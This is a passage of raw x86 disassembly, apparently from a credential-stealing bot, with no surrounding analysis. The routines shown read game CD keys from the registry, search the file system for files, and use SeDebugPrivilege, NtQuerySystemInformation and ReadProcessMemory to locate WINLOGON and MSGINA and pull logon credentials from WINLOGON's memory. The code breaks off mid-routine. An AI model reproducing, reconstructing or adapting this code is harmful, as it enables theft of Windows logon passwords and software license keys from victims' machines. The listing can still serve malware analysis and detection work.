loc_40893E:				; CODE XREF: sub_408755+63j
					; sub_408755+D0j ...
		push	[ebp+var_4]
		call	dword_441468	; DestroyWindow
		mov	eax, ebx


loc_408949:				; CODE XREF: sub_408755+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408755	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40894E	proc near		; CODE XREF: sub_40F6F1+4897p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43FE50
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_441310
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40898C
		mov	eax, esi
		jmp	loc_408B88
; ---------------------------------------------------------------------------


loc_40898C:				; CODE XREF: sub_40894E+35j
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4089A9
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_441414	; SendMessageA
		jmp	short loc_4089AB
; ---------------------------------------------------------------------------


loc_4089A9:				; CODE XREF: sub_40894E+47j
		xor	eax, eax


loc_4089AB:				; CODE XREF: sub_40894E+59j
		cmp	eax, ebx
		jnz	short loc_4089B6


loc_4089AF:				; CODE XREF: sub_40894E+8Bj
					; sub_40894E+BCj
		mov	ebx, esi
		jmp	loc_408B7F
; ---------------------------------------------------------------------------


loc_4089B6:				; CODE XREF: sub_40894E+5Fj
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4089D6
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_441414	; SendMessageA


loc_4089D6:				; CODE XREF: sub_40894E+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_4089AF
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_4089F9
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_441414	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4089FC
; ---------------------------------------------------------------------------


loc_4089F9:				; CODE XREF: sub_40894E+96j
		mov	[ebp+arg_4], ebx


loc_4089FC:				; CODE XREF: sub_40894E+A9j
		push	[ebp+arg_4]
		call	sub_417BEE
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4089AF
		push	[ebp+arg_4]
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408A23
		push	1
		pop	ebx
		jmp	loc_408B7F
; ---------------------------------------------------------------------------


loc_408A23:				; CODE XREF: sub_40894E+CBj
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408A40
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_441414	; SendMessageA


loc_408A40:				; CODE XREF: sub_40894E+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417490
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408A5B
		mov	ecx, 0A0h


loc_408A5B:				; CODE XREF: sub_40894E+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408A65
		push	78h
		pop	eax


loc_408A65:				; CODE XREF: sub_40894E+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408AAA
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_441414	; SendMessageA


loc_408AAA:				; CODE XREF: sub_40894E+14Aj
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408AC7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_441414	; SendMessageA


loc_408AC7:				; CODE XREF: sub_40894E+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408B05
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_441414	; SendMessageA


loc_408B05:				; CODE XREF: sub_40894E+1A3j
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408B20
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_441414	; SendMessageA


loc_408B20:				; CODE XREF: sub_40894E+1C0j
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408B39
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_441414	; SendMessageA


loc_408B39:				; CODE XREF: sub_40894E+1DBj
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408B56
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_441414	; SendMessageA


loc_408B56:				; CODE XREF: sub_40894E+1F4j
		push	[ebp+var_4]
		call	sub_417C62
		push	esi
		call	sub_417C62
		pop	ecx
		pop	ecx
		push	edi
		call	dword_441358	; IsWindow
		test	eax, eax
		jz	short loc_408B7F
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_441414	; SendMessageA


loc_408B7F:				; CODE XREF: sub_40894E+63j
					; sub_40894E+D0j ...
		push	edi
		call	dword_441468	; DestroyWindow
		mov	eax, ebx


loc_408B88:				; CODE XREF: sub_40894E+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40894E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B8D	proc near		; CODE XREF: sub_40F6F1+59B4p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_429814, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408D3F
		push	esi
		push	edi
		mov	eax, offset off_429814
		mov	esi, offset dword_429820
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408BBD:				; CODE XREF: sub_408B8D+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_441428	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4412C4	; RegQueryValueExA
		test	eax, eax
		jnz	loc_408D25
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408CE9
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41823A
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408D25
		push	eax


loc_408C36:				; CODE XREF: sub_408B8D+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_4186EC
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408CDE
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408C63
		push	[ebp+var_8]
		jmp	short loc_408C36
; ---------------------------------------------------------------------------


loc_408C63:				; CODE XREF: sub_408B8D+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418630
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CA2
		lea	eax, [ebp+var_70]
		push	offset asc_42AA18 ; "="
		push	eax
		call	sub_41824D
		push	offset asc_42AA18 ; "="
		push	ebx
		call	sub_41824D
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4173AC
		add	esp, 20h
		jmp	short loc_408CB9
; ---------------------------------------------------------------------------


loc_408CA2:				; CODE XREF: sub_408B8D+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4173AC
		add	esp, 10h


loc_408CB9:				; CODE XREF: sub_408B8D+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40C4F7
		add	esp, 18h


loc_408CDE:				; CODE XREF: sub_408B8D+B9j
		push	[ebp+var_8]
		call	sub_4180DC
		pop	ecx
		jmp	short loc_408D25
; ---------------------------------------------------------------------------


loc_408CE9:				; CODE XREF: sub_408B8D+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40C4F7
		add	esp, 28h


loc_408D25:				; CODE XREF: sub_408B8D+60j
					; sub_408B8D+A2j ...
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408BBD
		pop	edi
		pop	esi


loc_408D3F:				; CODE XREF: sub_408B8D+19j
		pop	ebx
		leave
		retn
sub_408B8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D42	proc near		; DATA XREF: sub_40F6F1+3E58o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AF0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408D97
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AF0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408D97:				; CODE XREF: sub_408D42+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42AA6C
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408DDC
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40DC10
		add	esp, 14h


loc_408DDC:				; CODE XREF: sub_408D42+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408E5A
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42AA3C
		push	eax
		call	sub_4173AC
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E3A
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40DC10
		add	esp, 14h


loc_408E3A:				; CODE XREF: sub_408D42+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_10]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx
sub_408D42	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E5A	proc near		; CODE XREF: sub_408D42+B9p
					; sub_408E5A+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41792A
		mov	edi, dword_4210B8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408F17


loc_408EA6:				; CODE XREF: sub_408E5A+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F03
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408ECA
		cmp	[ebp+var_117], 0
		jz	short loc_408F03
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F03


loc_408ECA:				; CODE XREF: sub_408E5A+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41792A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408E5A
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F03:				; CODE XREF: sub_408E5A+53j
					; sub_408E5A+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 7C834EB1h
		test	eax, eax
		jnz	short loc_408EA6


loc_408F17:				; CODE XREF: sub_408E5A+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 7C80EDD7h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_408F9D


loc_408F4E:				; CODE XREF: sub_408E5A+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41792A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 7C834EB1h
		test	eax, eax
		jnz	short loc_408F4E


loc_408F9D:				; CODE XREF: sub_408E5A+F2j
		push	esi
		nop
		call	near ptr 7C80EDD7h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408FAC	proc near		; DATA XREF: sub_40F6F1+54A1o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40BC5F
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_408FEB
		cmp	eax, 2
		jz	short loc_408FEB
		push	offset unk_42ACE0
		jmp	loc_40912A
; ---------------------------------------------------------------------------


loc_408FEB:				; CODE XREF: sub_408FAC+2Ej
					; sub_408FAC+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_415B28
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409125
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 7C801D77h
		mov	esi, dword_4210D8
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_441064, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_441058, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_441268, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_441060, eax
		call	esi	; GetProcAddress
		mov	dword_44105C, eax
		call	sub_40917E
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4090F8
		mov	esi, dword_4210D4
		mov	edi, 400h
		mov	ebx, offset dword_440058
		push	edi
		push	ebx
		push	offset off_42AC1C
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_440858
		push	edi
		push	offset off_42AC04
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_441270
		push	[ebp+arg_0]
		jnz	short loc_4090A4
		call	sub_409307
		jmp	short loc_4090A9
; ---------------------------------------------------------------------------


loc_4090A4:				; CODE XREF: sub_408FAC+EFj
		call	sub_4094AE


loc_4090A9:				; CODE XREF: sub_408FAC+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4090F1
		cmp	dword_441270, 0
		jnz	short loc_4090D8
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42AB8C
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 18h
		jmp	short loc_40910B
; ---------------------------------------------------------------------------


loc_4090D8:				; CODE XREF: sub_408FAC+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4090E8
		call	sub_4095E4
		jmp	short loc_4090ED
; ---------------------------------------------------------------------------


loc_4090E8:				; CODE XREF: sub_408FAC+133j
		call	sub_40967B


loc_4090ED:				; CODE XREF: sub_408FAC+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4090FD
; ---------------------------------------------------------------------------


loc_4090F1:				; CODE XREF: sub_408FAC+101j
		push	offset unk_42AB44
		jmp	short loc_4090FD
; ---------------------------------------------------------------------------


loc_4090F8:				; CODE XREF: sub_408FAC+B6j
		push	offset unk_42AB00


loc_4090FD:				; CODE XREF: sub_408FAC+143j
					; sub_408FAC+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_40910B:				; CODE XREF: sub_408FAC+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_415B28
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 7C80ABDEh
		pop	ebx
		jmp	short loc_409138
; ---------------------------------------------------------------------------


loc_409125:				; CODE XREF: sub_408FAC+4Ej
		push	offset unk_42AABC


loc_40912A:				; CODE XREF: sub_408FAC+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_409138:				; CODE XREF: sub_408FAC+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_40915F
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40DC10
		add	esp, 14h


loc_40915F:				; CODE XREF: sub_408FAC+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_18]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
sub_408FAC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40917E	proc near		; CODE XREF: sub_408FAC+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4210E8
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4210E4
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_441064	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C91043Dh
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_441064	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_40926B
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_40926B
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_40926B


loc_409207:				; CODE XREF: sub_40917E+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_40925E
		push	0
		push	0
		call	dword_441058	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_441268	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_40924F
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_418743
		pop	ecx
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409283


loc_40924F:				; CODE XREF: sub_40917E+AAj
		test	edi, edi
		jz	short loc_40925A
		push	edi
		call	dword_441060	; RtlDestroyQueryDebugBuffer


loc_40925A:				; CODE XREF: sub_40917E+D3j
		mov	eax, [esp+28h+var_10]


loc_40925E:				; CODE XREF: sub_40917E+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409207


loc_40926B:				; CODE XREF: sub_40917E+6Dj
					; sub_40917E+7Aj ...
		xor	edi, edi


loc_40926D:				; CODE XREF: sub_40917E+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		nop
		call	near ptr 7C91043Dh
		mov	eax, edi


loc_40927B:				; CODE XREF: sub_40917E+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_409283:				; CODE XREF: sub_40917E+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4092EC
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409299:				; CODE XREF: sub_40917E+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_418743
		pop	ecx
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409300
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_418743
		pop	ecx
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4092DE
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4092DE:				; CODE XREF: sub_40917E+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409299


loc_4092EC:				; CODE XREF: sub_40917E+10Fj
		test	edi, edi
		jz	short loc_4092F7
		push	edi
		call	dword_441060	; RtlDestroyQueryDebugBuffer


loc_4092F7:				; CODE XREF: sub_40917E+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_40926D
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_40917E+13Cj
		xor	eax, eax
		jmp	loc_40927B
sub_40917E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409307	proc near		; CODE XREF: sub_408FAC+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 7C8309E1h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_409330
		xor	eax, eax
		jmp	loc_4094AB
; ---------------------------------------------------------------------------


loc_409330:				; CODE XREF: sub_409307+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 7C812D56h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4210E8
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_4210E4
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4210F0
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_409380
		xor	esi, esi
		jmp	loc_40949E
; ---------------------------------------------------------------------------


loc_409380:				; CODE XREF: sub_409307+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 7C80B9A0h
		test	eax, eax
		jz	loc_40948D
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_40948D
		test	[ebp+var_2B], 1
		jnz	loc_40948D
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_40948D


loc_4093E3:				; CODE XREF: sub_409307+112j
		push	edi
		push	offset dword_440058
		call	sub_42047C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40940B
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_440858
		call	sub_42047C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40941B


loc_40940B:				; CODE XREF: sub_409307+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_40948D
		jmp	short loc_4093E3
; ---------------------------------------------------------------------------


